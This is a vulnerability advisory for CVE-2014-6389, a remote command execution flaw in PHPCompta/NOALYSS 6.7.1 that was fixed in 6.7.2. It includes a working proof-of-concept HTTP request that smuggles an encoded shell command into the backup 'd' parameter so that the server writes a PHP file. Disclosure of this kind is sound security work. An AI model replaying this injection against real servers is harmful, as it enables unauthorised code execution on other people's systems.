PHPCompta/NOALYSS 6.7.1 5638 Remote Command Execution

`Vulnerability title: Remote Command Execution in PHPCompta/NOALYSS  
CVE: CVE-2014-6389  
Vendor: PHPCompta  
Product: PHPCompta/NOALYSS  
Affected version: 6.7.1 5638  
Fixed version: 6.7.2  
Reported by: Jerzy Kramarz  
  
Details:  
  
PhpCompta 6.7.1-2 does not validate the syntax of the commands when processing backup requests from users. It is possible to abuse the 'd' parameter to inject additional parameters that will then be passed via the php passthru() function to create a backup file, which will subsequently be executed. The proof of concept below will create a file 'exploit.php' in the root directory of the application, which will execute phpinfo() function when called.  
  
GET /phpcompta/backup.php?sa=b&t=m&d=123;%20echo%20%22%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%22%20>%20exploit.php HTTP/1.1  
Host: 192.168.56.101  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: PHPSESSID=3nckv75pburv54tm2iq79dfgl6  
Connection: keep-alive  
  
Further details at:  
  
https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-6389/  
  
Copyright:  
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